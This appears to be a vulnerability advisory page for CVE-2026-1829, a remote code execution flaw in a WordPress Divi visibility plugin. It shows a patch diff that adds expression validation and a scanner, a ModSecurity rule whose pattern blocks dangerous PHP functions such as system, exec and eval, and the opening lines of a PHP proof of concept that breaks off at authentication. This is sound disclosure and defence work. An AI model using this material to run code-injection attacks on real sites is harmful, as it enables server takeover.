+	<?php wp_nonce_field( self::get_text_domain() . '_enable_validation', '_cvdb_validation_nonce' ); ?>
+	<input type="hidden" name="cvdb_enable_validation" value="1">
+	<?php submit_button( __( 'Enable Validation', self::get_text_domain() ), 'primary', 'submit', true ); ?>
+</form>
+<?php } else { ?>
+<hr>
+<h3><?php _e( 'Disable Validation', self::get_text_domain() ); ?></h3>
+<p><?php _e( 'If validation is causing unexpected behavior on your site, you can disable it temporarily while you investigate. While disabled, expressions are evaluated as-is — anything dangerous in your content will run.', self::get_text_domain() ); ?></p>
+<form method="post" style="background:#fcf0f1;border-left:4px solid #d63638;padding:12px 16px;max-width:560px;">
+	<p style="margin-top:0;"><?php printf( __( 'Type %s in the field below to confirm:', self::get_text_domain() ), '<code>DISABLE</code>' ); ?></p>
+	<?php wp_nonce_field( self::get_text_domain() . '_disable_validation', '_cvdb_validation_nonce' ); ?>
+	<input type="hidden" name="cvdb_disable_validation" value="1">
+	<input type="text" name="cvdb_disable_confirmation" pattern="DISABLE" required autocomplete="off" placeholder="DISABLE" style="width:200px;font-family:monospace;text-transform:uppercase;" />
+	<?php submit_button( __( 'Disable Validation', self::get_text_domain() ), 'delete', 'submit', false ); ?>
+</form>
+<?php
+			}
+		} else if ( $tab === 'validation-filters' ) {
+?>
+<h2 class="title"><?php _e( 'Expression Validation Filters', self::get_text_domain() ); ?></h2>
+<p><?php _e( 'These filters let you adjust what the expression validator and the content scanner consider safe. Three of them affect both runtime evaluation and the scanner; one only affects scanner warnings. All accept and must return an array of strings (or token type constants for <code>allowed_tokens</code>).', self::get_text_domain() ); ?></p>
+<hr>
+
+<h2 class="title"><?php /* translators: 1: filter name, 2: parameter list */ printf( __( 'Filter: %1$s<br>Parameters:<br>%2$s', self::get_text_domain() ), '<code>content_visibility_for_divi_builder_blocked_functions</code>', sprintf( __( '    %1$s: Array of lowercase function names that are blocked when present in any expression. Returning an unfiltered call to one of these names from an expression produces a hard validation error.', self::get_text_domain() ), '<code>$blocked_functions</code>' ) ); ?></h2>
+<p><?php _e( 'Affects both runtime evaluation and the scanner. Use this to add organization-specific dangerous functions to the denylist. Note: <strong>removing</strong> entries weakens the security posture — only do so if you have audited the function in question.', self::get_text_domain() ); ?></p>
+<p><?php _e( 'Example: block calls to a custom helper that performs writes.', self::get_text_domain() ); ?></p>
+<pre><code>add_filter( 'content_visibility_for_divi_builder_blocked_functions', function( $names ) {
+    $names[] = 'mytheme_force_login';
+    return $names;
+} );</code></pre>
+<hr>
+
+<h2 class="title"><?php /* translators: 1: filter name, 2: parameter list */ printf( __( 'Filter: %1$s<br>Parameters:<br>%2$s', self::get_text_domain() ), '<code>content_visibility_for_divi_builder_allowed_tokens</code>', sprintf( __( '    %1$s: Array of PHP tokenizer type constants (e.g. <code>T_STRING</code>, <code>T_LNUMBER</code>) that are permitted to appear in expressions.', self::get_text_domain() ), '<code>$allowed_tokens</code>' ) ); ?></h2>
+<p><?php _e( 'Affects both runtime evaluation and the scanner. Tokens not in this list cause validation to fail with "Disallowed token type". The default list permits identifiers, literals, comparison/logical operators, namespacing, and array syntax — but excludes things like <code>T_VARIABLE</code> (no <code>$vars</code>) and assignment operators.', self::get_text_domain() ); ?></p>
+<hr>
+
+<h2 class="title"><?php /* translators: 1: filter name, 2: parameter list */ printf( __( 'Filter: %1$s<br>Parameters:<br>%2$s', self::get_text_domain() ), '<code>content_visibility_for_divi_builder_allowed_chars</code>', sprintf( __( '    %1$s: Array of single-character tokens (e.g. <code>(</code>, <code>)</code>, <code>,</code>) that are permitted to appear in expressions.', self::get_text_domain() ), '<code>$allowed_chars</code>' ) ); ?></h2>
+<p><?php _e( 'Affects both runtime evaluation and the scanner. Characters not in this list cause validation to fail with "Disallowed character". The default list excludes characters that enable side effects (e.g. <code>;</code>, <code>=</code>, <code>$</code>, <code>` </code>).', self::get_text_domain() ); ?></p>
+<hr>
+
+<h2 class="title"><?php /* translators: 1: filter name, 2: parameter list */ printf( __( 'Filter: %1$s<br>Parameters:<br>%2$s', self::get_text_domain() ), '<code>content_visibility_for_divi_builder_allowed_callables</code>', sprintf( __( '    %1$s: Array of lowercase callable names that the scanner considers known-safe and will not flag with a "custom callable" warning.', self::get_text_domain() ), '<code>$allowed_callables</code>' ) ); ?></h2>
+<p><?php _e( 'Affects only the scanner output, not runtime evaluation. The validator can't inspect the body of a user-defined function or method, so any callable that isn't on this list (and isn't already blocked) is surfaced as a warning prompting manual review. Adding your own well-audited helpers here suppresses those warnings on subsequent scans.', self::get_text_domain() ); ?></p>
+<p><?php _e( 'Example: trust your theme's helper after auditing it.', self::get_text_domain() ); ?></p>
+<pre><code>add_filter( 'content_visibility_for_divi_builder_allowed_callables', function( $names ) {
+    $names[] = 'mytheme_should_be_visible';
+    return $names;
+} );</code></pre>
+<?php
 		}
 ?>
 </div><?php
@@ -535,7 +964,7 @@

 	public function render_admin_notices() {
 		if ( get_user_option( $this->show_rating_notice_option_key ) === '1' ) {
-			$rating_link = '<a href="' . esc_url( admin_url( 'admin-ajax.php?action=' . self::get_text_domain() . '_click-rating-link' ) ) . '" target="_blank">' . _x( 'rating', 'present participle: I enjoyed rating the awesome WordPress plugin', self::get_text_domain() ) . '</a>';
+			$rating_link = '<a href="' . esc_url( 'https://wordpress.org/support/view/plugin-reviews/' . self::get_text_domain() . '?rate=5#postform' ) . '" target="_blank" rel="noopener">' . _x( 'rating', 'present participle: I enjoyed rating the awesome WordPress plugin', self::get_text_domain() ) . '</a>';
 ?>
 <div id="<?php echo esc_attr( self::get_text_domain() ); ?>_rating-notice" class="notice notice-info is-dismissible" style="position: relative;"><p><?php
 			/* translators: 1: The plugin's name 2: The translated text for "rating" in the present participle (e.g. I enjoyed rating the awesome WordPress plugin) 3: A "smiley" emoticon at the end of the translated text */
@@ -548,7 +977,61 @@
 ?></div>
 <?php
 		}
+
+		$validation_enabled = get_option( self::$validation_option_key );
+		if ( $validation_enabled === '0' && current_user_can( 'manage_options' ) ) {
+			$security_tab_url = admin_url( 'tools.php?page=' . self::get_text_domain() . '-api-reference&tab=security' );
+?>
+<div class="notice notice-warning"><p><?php
+			printf(
+				__( '<strong>%1$s:</strong> Expression validation is not yet enabled. Please review the <a href="%2$s">Expression Validation</a> tab to scan your content and enable validation.', self::get_text_domain() ),
+				esc_html( self::get_name() ),
+				esc_url( $security_tab_url )
+			);
+?></p></div>
+<?php
+		}
+
+		if ( !self::is_eval_available() ) {
+?>
+<div class="notice notice-error">
+	<p><strong><?php echo esc_html( self::get_name() ); ?>:</strong> <?php _e( 'PHP <code>eval()</code> appears to be disabled on this host (commonly via the Suhosin extension or a custom hardening policy). Visibility expressions cannot be evaluated until <code>eval()</code> is re-enabled. Contact your hosting provider, or remove this plugin if <code>eval()</code> cannot be restored.', self::get_text_domain() ); ?></p>
+</div>
+<?php
+		}
 	}
+
+	public function handle_validation_toggle() {
+		$enable  = isset( $_POST['cvdb_enable_validation'] )  && $_POST['cvdb_enable_validation']  === '1';
+		$disable = isset( $_POST['cvdb_disable_validation'] ) && $_POST['cvdb_disable_validation'] === '1';
+		if ( !$enable && !$disable ) {
+			return;
+		}
+
+		if ( !current_user_can( 'manage_options' ) ) {
+			return;
+		}
+
+		$nonce_action = $enable
+			? self::get_text_domain() . '_enable_validation'
+			: self::get_text_domain() . '_disable_validation';
+		if ( !isset( $_POST['_cvdb_validation_nonce'] ) || !wp_verify_nonce( $_POST['_cvdb_validation_nonce'], $nonce_action ) ) {
+			return;
+		}
+
+		if ( $disable ) {
+			$confirmation = isset( $_POST['cvdb_disable_confirmation'] ) ? trim( wp_unslash( $_POST['cvdb_disable_confirmation'] ) ) : '';
+			if ( $confirmation === 'DISABLE' ) {
+				update_option( self::$validation_option_key, '0' );
+			}
+		} else {
+			update_option( self::$validation_option_key, '1' );
+		}
+
+		wp_safe_redirect( admin_url( 'tools.php?page=' . self::get_text_domain() . '-api-reference&tab=security' ) );
+		exit;
+	}
+
 }

 ContentVisibilityForDiviBuilder::init();
--- a/content-visibility-for-divi-builder/includes/security-scanner.class.php
+++ b/content-visibility-for-divi-builder/includes/security-scanner.class.php
@@ -0,0 +1,788 @@
+<?php
+
+namespace AoDTechnologiesContentVisibilityForDiviBuilder;
+
+if ( !defined( 'WPINC' ) ) {
+	die;
+}
+
+class SecurityScanner {
+	const FINDINGS_META_KEY = '_content_visibility_for_divi_builder_validation_findings';
+
+	private static $reflection_available = null;
+
+	public static function is_reflection_available() {
+		if ( self::$reflection_available !== null ) {
+			return self::$reflection_available;
+		}
+		if (
+			!extension_loaded( 'Reflection' ) ||
+			!class_exists( 'ReflectionFunction', false ) ||
+			!class_exists( 'ReflectionMethod', false )
+		) {
+			self::$reflection_available = false;
+			return false;
+		}
+		try {
+			// Smoke test: construct a Reflection on a function that always exists,
+			// and call the methods we actually use. If anything throws (disable_classes,
+			// other host hardening), treat Reflection as unavailable.
+			$probe = new ReflectionFunction( 'print_r' );
+			$probe->getFileName();
+			$probe->getStartLine();
+			self::$reflection_available = true;
+		} catch ( Throwable $e ) {
+			self::$reflection_available = false;
+		}
+		return self::$reflection_available;
+	}
+
+	public static function init() {
+		add_action( 'rest_api_init', array( __CLASS__, 'register_rest_routes' ) );
+		add_action( 'admin_enqueue_scripts', array( __CLASS__, 'maybe_enqueue_scanner_script' ), 12 );
+
+		// Publish gate
+		add_filter( 'rest_pre_insert_post', array( __CLASS__, 'gate_rest_publish' ), 10, 2 );
+		add_filter( 'wp_insert_post_data', array( __CLASS__, 'gate_classic_publish' ), 10, 2 );
+
+		// Save-time analysis + edit-screen notice (always-on backstop, regardless of validation toggle)
+		add_action( 'save_post', array( __CLASS__, 'on_save_post' ), 20, 3 );
+		add_action( 'admin_notices', array( __CLASS__, 'render_findings_notice' ) );
+	}
+
+	public static function on_save_post( $post_id, $post, $update ) {
+		// Skip autosaves and revisions — only act on user-initiated saves of the live post
+		if ( wp_is_post_autosave( $post_id ) || wp_is_post_revision( $post_id ) ) {
+			return;
+		}
+		if ( !is_object( $post ) || !isset( $post->post_content ) ) {
+			return;
+		}
+
+		// Fast path: skip the expensive analysis when there are no cvdb markers in content at all
+		if ( strpos( $post->post_content, 'cvdb_content_visibility_check' ) === false
+			&& strpos( $post->post_content, 'contentVisibilityCheck' ) === false ) {
+			delete_post_meta( $post_id, self::FINDINGS_META_KEY );
+			return;
+		}
+
+		$errors = self::find_validation_errors( $post->post_content );
+		if ( empty( $errors ) ) {
+			delete_post_meta( $post_id, self::FINDINGS_META_KEY );
+		} else {
+			update_post_meta( $post_id, self::FINDINGS_META_KEY, $errors );
+		}
+	}
+
+	public static function render_findings_notice() {
+		global $pagenow;
+		if ( $pagenow !== 'post.php' ) {
+			return;
+		}
+		$post_id = isset( $_GET['post'] ) ? (int) $_GET['post'] : 0;
+		if ( ! $post_id || !current_user_can( 'edit_post', $post_id ) ) {
+			return;
+		}
+
+		$findings = get_post_meta( $post_id, self::FINDINGS_META_KEY, true );
+		if ( empty( $findings ) || !is_array( $findings ) ) {
+			return;
+		}
+
+		$is_strict = self::validation_enabled();
+		$class = $is_strict ? 'notice-error' : 'notice-warning';
+		$headline = $is_strict
+			? sprintf(
+				_n(
+					'%d visibility expression failed validation and will be blocked at runtime:',
+					'%d visibility expressions failed validation and will be blocked at runtime:',
+					count( $findings ),
+					ContentVisibilityForDiviBuilder::get_text_domain()
+				),
+				count( $findings )
+			)
+			: sprintf(
+				_n(
+					'%d visibility expression would be blocked when validation is enabled:',
+					'%d visibility expressions would be blocked when validation is enabled:',
+					count( $findings ),
+					ContentVisibilityForDiviBuilder::get_text_domain()
+				),
+				count( $findings )
+			);
+		?>
+		<div class="notice <?php echo esc_attr( $class ); ?>">
+			<p><strong><?php _e( 'Content Visibility for Divi Builder', ContentVisibilityForDiviBuilder::get_text_domain() ); ?>:</strong> <?php echo esc_html( $headline ); ?></p>
+			<ul style="margin-left:24px;list-style:disc;">
+				<?php foreach ( $findings as $e ) :
+					$module = $e['module_name'] !== '' ? $e['module_name'] : '(unknown module)';
+					if ( $e['admin_label'] !== '' ) {
+						$module .= ' "' . $e['admin_label'] . '"';
+					}
+				?>
+				<li>
+					<code><?php echo esc_html( $e['expression'] ); ?></code>
+					<em style="color:#666;">in <?php echo esc_html( $module ); ?></em>
+					<br>→ <?php echo esc_html( $e['error'] ); ?>
+				</li>
+				<?php endforeach; ?>
+			</ul>
+		</div>
+		<?php
+	}
+
+	/**
+	 * Find every expression in $content that fails validation. Returns an array
+	 * of { expression, type, module_name, admin_label, error } entries — empty
+	 * if everything validates.
+	 */
+	private static function find_validation_errors( $content ) {
+		if ( !is_string( $content ) || $content === '' ) {
+			return array();
+		}
+		$errors = array();
+		foreach ( self::extract_expressions_from_content( $content ) as $expr ) {
+			$result = ContentVisibilityForDiviBuilder::validate_expression( $expr['expression'] );
+			if ( $result !== true ) {
+				$errors[] = array(
+					'expression'  => $expr['expression'],
+					'type'        => $expr['type'],
+					'module_name' => isset( $expr['module_name'] ) ? $expr['module_name'] : '',
+					'admin_label' => isset( $expr['admin_label'] ) ? $expr['admin_label'] : '',
+					'error'       => $result,
+				);
+			}
+		}
+		return $errors;
+	}
+
+	private static function validation_enabled() {
+		return get_option( ContentVisibilityForDiviBuilder::get_underscore_text_domain() . '_expression_validation_enabled' ) === '1';
+	}
+
+	private static function format_publish_error_message( $errors ) {
+		$lines = array();
+		$lines[] = sprintf(
+			_n(
+				'%d visibility expression failed validation and is blocking the save:',
+				'%d visibility expressions failed validation and are blocking the save:',
+				count( $errors ),
+				ContentVisibilityForDiviBuilder::get_text_domain()
+			),
+			count( $errors )
+		);
+		$lines[] = '';
+		foreach ( $errors as $e ) {
+			$module = $e['module_name'] !== '' ? $e['module_name'] : '(unknown module)';
+			if ( $e['admin_label'] !== '' ) {
+				$module .= ' "' . $e['admin_label'] . '"';
+			}
+			$lines[] = '• ' . $e['expression'];
+			$lines[] = '    in ' . $module;
+			$lines[] = '    → ' . $e['error'];
+			$lines[] = '';
+		}
+		$lines[] = __( 'No changes were written — your existing post is unchanged. Fix or remove the offending expressions and save again.', ContentVisibilityForDiviBuilder::get_text_domain() );
+		return implode( "n", $lines );
+	}
+
+	private static function format_publish_error_html( $errors ) {
+		$text_domain = ContentVisibilityForDiviBuilder::get_text_domain();
+		$out  = '<h1>' . esc_html__( 'Save blocked by Content Visibility validation', $text_domain ) . '</h1>';
+		$out .= '<p>' . esc_html( sprintf(
+			_n(
+				'%d visibility expression failed validation. Your existing post has NOT been changed — use your browser's Back button to return to the editor, fix the expression(s), and save again.',
+				'%d visibility expressions failed validation. Your existing post has NOT been changed — use your browser's Back button to return to the editor, fix the expressions, and save again.',
+				count( $errors ),
+				$text_domain
+			),
+			count( $errors )
+		) ) . '</p>';
+		$out .= '<ul style="margin-left:24px;list-style:disc;">';
+		foreach ( $errors as $e ) {
+			$module = $e['module_name'] !== '' ? $e['module_name'] : '(unknown module)';
+			if ( $e['admin_label'] !== '' ) {
+				$module .= ' "' . $e['admin_label'] . '"';
+			}
+			$out .= '<li><code>' . esc_html( $e['expression'] ) . '</code>'
+				. ' <em style="color:#666;">' . sprintf( esc_html__( 'in %s', $text_domain ), esc_html( $module ) ) . '</em>'
+				. '<br>→ ' . esc_html( $e['error'] ) . '</li>';
+		}
+		$out .= '</ul>';
+		return $out;
+	}
+
+	/**
+	 * REST publish gate — fires for Gutenberg/Divi 5 VB and any REST API client.
+	 * Returning WP_Error blocks the publish; the editor surfaces the message in its standard error UI.
+	 */
+	public static function gate_rest_publish( $prepared_post, $request ) {
+		if ( !self::validation_enabled() || !is_object( $prepared_post ) ) {
+			return $prepared_post;
+		}
+
+		// Resolve the EFFECTIVE status & content after this update. On partial updates,
+		// only the fields the client sent are present on $prepared_post — fall back to the
+		// existing stored post for whatever's missing.
+		$existing = !empty( $prepared_post->ID ) ? get_post( $prepared_post->ID ) : null;
+
+		$status = isset( $prepared_post->post_status )
+			? $prepared_post->post_status
+			: ( $existing ? $existing->post_status : '' );
+		if ( $status !== 'publish' && $status !== 'future' ) {
+			return $prepared_post;
+		}
+
+		$content = isset( $prepared_post->post_content )
+			? $prepared_post->post_content
+			: ( $existing ? $existing->post_content : '' );
+
+		$errors = self::find_validation_errors( $content );
+		if ( empty( $errors ) ) {
+			return $prepared_post;
+		}
+		return new WP_Error(
+			'cvdb_validation_failed',
+			self::format_publish_error_message( $errors ),
+			array( 'status' => 400, 'cvdb_errors' => $errors ),
+		);
+	}
+
+	/**
+	 * Classic-editor publish gate. Fires for the classic post.php form, Divi 3/4 backend builder,
+	 * and Divi 3/4 visual builder AJAX saves (et_fb_ajax_save). Cannot return WP_Error from this
+	 * filter, so when validation fails we either abort the request (interactive contexts) or
+	 * silently preserve the existing post's content & status (non-interactive contexts).
+	 *
+	 * Either way, the existing post is left in its current state — already-published pages stay
+	 * published with their previous content. No demote-to-draft. The user's in-progress edits stay
+	 * in the VB's React state (AJAX) or in the browser's form history (classic), so a Back-button
+	 * → fix → save flow recovers cleanly.
+	 */
+	public static function gate_classic_publish( $data, $postarr ) {
+		if ( !self::validation_enabled() ) {
+			return $data;
+		}
+		if ( !isset( $data['post_status'] ) ) {
+			return $data;
+		}
+		if ( $data['post_status'] !== 'publish' && $data['post_status'] !== 'future' ) {
+			return $data;
+		}
+
+		// Resolve EFFECTIVE content. wp_update_post() with only status changed leaves
+		// $data['post_content'] empty — fall back to the existing stored post content.
+		// Note: wp_insert_post() runs wp_slash() on $data before this filter fires (and
+		// wp_unslash() afterwards), so $data['post_content'] is escaped here. Unslash
+		// before parsing so the shortcode regex / shortcode_parse_atts see real quotes.
+		$content = isset( $data['post_content'] ) && $data['post_content'] !== ''
+			? wp_unslash( $data['post_content'] )
+			: '';
+		$existing = isset( $postarr['ID'] ) && (int) $postarr['ID'] > 0 ? get_post( (int) $postarr['ID'] ) : null;
+		if ( $content === '' && $existing ) {
+			$content = $existing->post_content;
+		}
+
+		$errors = self::find_validation_errors( $content );
+		if ( empty( $errors ) ) {
+			return $data;
+		}
+
+		// Interactive context — abort with a clear error. The user's in-progress edits remain in
+		// the VB's React state (AJAX) or the browser's form history (classic post.php) so they can
+		// fix and re-save.
+		if ( is_admin() || wp_doing_ajax() ) {
+			if ( wp_doing_ajax() ) {
+				wp_send_json_error( array(
+					'message'     => self::format_publish_error_message( $errors ),
+					'html'        => self::format_publish_error_html( $errors ),
+					'cvdb_errors' => $errors,
+				), 400 );
+				// wp_send_json_error() calls wp_die() internally; this return is just a safety net.
+				return $data;
+			}
+
+			wp_die(
+				self::format_publish_error_html( $errors ),
+				__( 'Save blocked — Content Visibility validation', ContentVisibilityForDiviBuilder::get_text_domain() ),
+				array( 'back_link' => true, 'response' => 400 )
+			);
+		}
+
+		// Non-interactive context (cron, WP-CLI, programmatic wp_update_post calls). wp_die-ing
+		// would crash a background process. Instead, silently no-op the post_status + post_content
+		// to the existing values so the bad expression never reaches the database. Other field
+		// changes (title, excerpt, etc.) still go through.
+		if ( $existing ) {
+			$data['post_status']  = $existing->post_status;
+			$data['post_content'] = wp_slash( $existing->post_content );
+		} else {
+			// No existing post (this is an insert). Demote to draft so the bad expression doesn't
+			// go live; there's no live page to preserve.
+			$data['post_status'] = 'draft';
+		}
+		return $data;
+	}
+
+	public static function register_rest_routes() {
+		register_rest_route( 'cvdb/v1', '/security/scan', array(
+			'methods'             => WP_REST_Server::CREATABLE,
+			'permission_callback' => function() { return current_user_can( 'manage_options' ); },
+			'callback'            => array( __CLASS__, 'rest_scan' ),
+			'args'                => array(
+				'offset' => array(
+					'type'              => 'integer',
+					'default'           => 0,
+					'minimum'           => 0,
+					'sanitize_callback' => 'absint',
+				),
+				'batch_size' => array(
+					'type'              => 'integer',
+					'default'           => 50,
+					'minimum'           => 1,
+					'maximum'           => 200,
+					'sanitize_callback' => 'absint',
+				),
+				'include_revisions' => array(
+					'type'    => 'boolean',
+					'default' => false,
+				),
+			),
+		) );
+
+		register_rest_route( 'cvdb/v1', '/security/validate-expression', array(
+			'methods'             => WP_REST_Server::CREATABLE,
+			'permission_callback' => function() { return current_user_can( 'manage_options' ); },
+			'callback'            => array( __CLASS__, 'rest_validate' ),
+			'args'                => array(
+				'expression' => array(
+					'type'     => 'string',
+					'required' => true,
+				),
+			),
+		) );
+	}
+
+	public static function rest_validate( WP_REST_Request $request ) {
+		$expression = trim( (string) $request->get_param( 'expression' ) );
+
+		// Empty expression is always valid — means "always show".
+		if ( $expression === '' ) {
+			return new WP_REST_Response( array(
+				'valid'              => true,
+				'error'              => null,
+				'warnings'           => array(),
+				'validation_enabled' => get_option( ContentVisibilityForDiviBuilder::get_underscore_text_domain() . '_expression_validation_enabled' ) === '1',
+			), 200 );
+		}
+
+		$analysis = self::analyze_expression( $expression );
+
+		return new WP_REST_Response( array(
+			'valid'              => $analysis['valid'],
+			'error'              => $analysis['error'],
+			'warnings'           => $analysis['warnings'],
+			'validation_enabled' => get_option( ContentVisibilityForDiviBuilder::get_underscore_text_domain() . '_expression_validation_enabled' ) === '1',
+		), 200 );
+	}
+
+	public static function maybe_enqueue_scanner_script() {
+		global $pagenow;
+		$text_domain = ContentVisibilityForDiviBuilder::get_text_domain();
+		if (
+			$pagenow !== 'tools.php' ||
+			!isset( $_GET['page'] ) || $_GET['page'] !== $text_domain . '-api-reference' ||
+			!isset( $_GET['tab'] ) || $_GET['tab'] !== 'security'
+		) {
+			return;
+		}
+
+		wp_enqueue_script( $text_domain . '_security-scanner', plugins_url( '/js/security-scanner.js', CVDB_PLUGIN ), array( 'jquery', 'wp-api-fetch' ), ContentVisibilityForDiviBuilder::get_version() );
+	}
+
+	public static function render_scanner_section() {
+		$text_domain = ContentVisibilityForDiviBuilder::get_text_domain();
+?>
+<hr>
+<h3><?php _e( 'Content Scanner', $text_domain ); ?></h3>
+<div id="cvdb-security-scan">
+	<p>
+		<label>
+			<input type="checkbox" id="cvdb-scan-include-revisions">
+			<?php _e( 'Include post revisions (slower; flags expressions in saved revisions even if the current content is clean)', $text_domain ); ?>
+		</label>
+	</p>
+	<p><button type="button" id="cvdb-scan-start" class="button button-secondary"><?php _e( 'Start Scan', $text_domain ); ?></button></p>
+	<div id="cvdb-scan-progress" style="display:none;">
+		<p id="cvdb-scan-progress-text"></p>
+		<div style="background:#e0e0e0;height:20px;border-radius:3px;margin:10px 0;">
+			<div id="cvdb-scan-progress-bar" style="background:#0073aa;height:20px;border-radius:3px;width:0;transition:width 0.3s;"></div>
+		</div>
+	</div>
+	<div id="cvdb-scan-results" style="display:none;">
+		<h4 id="cvdb-scan-summary"></h4>
+		<table class="widefat striped" id="cvdb-scan-results-table" style="display:none;">
+			<thead>
+				<tr>
+					<th><?php _e( 'Post', $text_domain ); ?></th>
+					<th><?php _e( 'Expression', $text_domain ); ?></th>
+					<th><?php _e( 'Editor', $text_domain ); ?></th>
+					<th><?php _e( 'Error', $text_domain ); ?></th>
+				</tr>
+			</thead>
+			<tbody id="cvdb-scan-results-body"></tbody>
+		</table>
+	</div>
+</div>
+<?php
+	}
+
+	public static function rest_scan( WP_REST_Request $request ) {
+		global $wpdb;
+
+		$offset            = (int) $request->get_param( 'offset' );
+		$batch_size        = (int) $request->get_param( 'batch_size' );
+		$include_revisions = (bool) $request->get_param( 'include_revisions' );
+
+		$revision_clause = $include_revisions ? '' : "AND post_type != 'revision'";
+
+		$like_shortcode = '%' . $wpdb->esc_like( 'cvdb_content_visibility_check' ) . '%';
+		$like_block     = '%' . $wpdb->esc_like( 'contentVisibilityCheck' ) . '%';
+
+		$total = null;
+		if ( $offset === 0 ) {
+			$total = (int) $wpdb->get_var( $wpdb->prepare(
+				"SELECT COUNT(*) FROM {$wpdb->posts} WHERE post_status != 'auto-draft' {$revision_clause} AND (post_content LIKE %s OR post_content LIKE %s)",
+				$like_shortcode,
+				$like_block
+			) );
+		}
+
+		$posts = $wpdb->get_results( $wpdb->prepare(
+			"SELECT ID, post_title, post_content, post_type, post_parent, post_date FROM {$wpdb->posts} WHERE post_status != 'auto-draft' {$revision_clause} AND (post_content LIKE %s OR post_content LIKE %s) ORDER BY ID ASC LIMIT %d OFFSET %d",
+			$like_shortcode,
+			$like_block,
+			$batch_size,
+			$offset
+		) );
+
+		$parent_data = array();
+		if ( $include_revisions ) {
+			$parent_ids = array();
+			foreach ( $posts as $post ) {
+				if ( $post->post_type === 'revision' && (int) $post->post_parent > 0 ) {
+					$parent_ids[ (int) $post->post_parent ] = true;
+				}
+			}
+			if ( !empty( $parent_ids ) ) {
+				$parent_id_list = array_keys( $parent_ids );
+				$placeholders = implode( ',', array_fill( 0, count( $parent_id_list ), '%d' ) );
+				$parent_rows = $wpdb->get_results( $wpdb->prepare(
+					"SELECT ID, post_title, post_content FROM {$wpdb->posts} WHERE ID IN ({$placeholders})",
+					$parent_id_list
+				) );
+				foreach ( $parent_rows as $p ) {
+					$flagged_count = 0;
+					$parent_expressions = self::extract_expressions_from_content( $p->post_content );
+					foreach ( $parent_expressions as $expr ) {
+						if ( ContentVisibilityForDiviBuilder::validate_expression( $expr['expression'] ) !== true ) {
+							$flagged_count++;
+						}
+					}
+					$parent_data[ (int) $p->ID ] = array(
+						'id'              => (int) $p->ID,
+						'title'           => $p->post_title,
+						'edit_url'        => get_edit_post_link( $p->ID, 'raw' ),
+						'current_flagged' => $flagged_count,
+					);
+				}
+			}
+		}
+
+		$text_domain = ContentVisibilityForDiviBuilder::get_text_domain();
+		$results = array();
+		foreach ( $posts as $post ) {
+			$expressions = self::extract_expressions_from_content( $post->post_content );
+			if ( empty( $expressions ) ) {
+				continue;
+			}
+
+			$post_expressions = array();
+			foreach ( $expressions as $expr ) {
+				$analysis = self::analyze_expression( $expr['expression'] );
+				$post_expressions[] = array(
+					'expression'  => $expr['expression'],
+					'editor'      => $expr['type'] === 'block' ? __( 'Divi 5 (block)', $text_domain ) : __( 'Divi 4 (shortcode)', $text_domain ),
+					'module_name' => isset( $expr['module_name'] ) ? $expr['module_name'] : '',
+					'admin_label' => isset( $expr['admin_label'] ) ? $expr['admin_label'] : '',
+					'valid'       => $analysis['valid'],
+					'error'       => $analysis['error'],
+					'warnings'    => $analysis['warnings'],
+				);
+			}
+
+			$is_revision = $post->post_type === 'revision';
+			$results[] = array(
+				'id'          => (int) $post->ID,
+				'title'       => $post->post_title,
+				'edit_url'    => get_edit_post_link( $post->ID, 'raw' ),
+				'expressions' => $post_expressions,
+				'is_revision' => $is_revision,
+				'post_date'   => $post->post_date,
+				'parent'      => ( $is_revision && isset( $parent_data[ (int) $post->post_parent ] ) ) ? $parent_data[ (int) $post->post_parent ] : nu

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-1829
# Block attempt to exploit RCE via shortcode parameter cvdb_content_visibility_check
# The attack injects PHP code into the 'cvdb_content_visibility_check' shortcode attribute
# Pattern: [et_pb_text cvdb_content_visibility_check="<malicious PHP>"]

SecRule REQUEST_URI "@rx ^/(?:index.php/)?wp-json/wp/v2/posts|wp-admin/post.php|wp-admin/post-new.php" 
  "id:20261829,phase:2,deny,status:403,chain,msg:'CVE-2026-1829 - Remote Code Execution via Divi Visibility Shortcode',severity:'CRITICAL',tag:'CVE-2026-1829',tag:'wordpress',tag:'rce'"
  SecRule ARGS:cvdb_content_visibility_check "@rx b(?:system|exec|shell_exec|passthru|popen|proc_open|pcntl_exec|eval|assert|create_function|call_user_func|file_put_contents|fwrite|fopen|unlink|rename|copy|chmod|chown|curl_init|curl_exec|wp_remote_get|wp_remote_post|mail|phpinfo|php_uname|getenv|putenv|ini_set)s*(" 
    "t:none"

# Also catch the parameter when sent via POST body (e.g., block editor REST requests)
SecRule REQUEST_URI "@rx ^/wp-json/wp/v2/posts" 
  "id:20261830,phase:2,deny,status:403,chain,msg:'CVE-2026-1829 - RCE via Divi Visibility Shortcode (REST)',severity:'CRITICAL',tag:'CVE-2026-1829',tag:'wordpress',tag:'rce'"
  SecRule REQUEST_BODY "@rx cvdb_content_visibility_checks*:s*[^,]*b(?:system|exec|shell_exec|passthru|popen|proc_open|pcntl_exec|eval|assert|create_function|call_user_func|file_put_contents|fwrite|fopen|unlink|rename|copy|chmod|chown|curl_init|curl_exec|wp_remote_get|wp_remote_post|mail|phpinfo|php_uname|getenv|putenv|ini_set)s*(" 
    "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1829 - Content Visibility for Divi Builder Remote Code Execution

// Configuration
$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site
$username = 'contributor'; // CHANGE THIS to a valid contributor user
$password = 'password'; // CHANGE THIS to the user's password

// Step 1: Authenticate
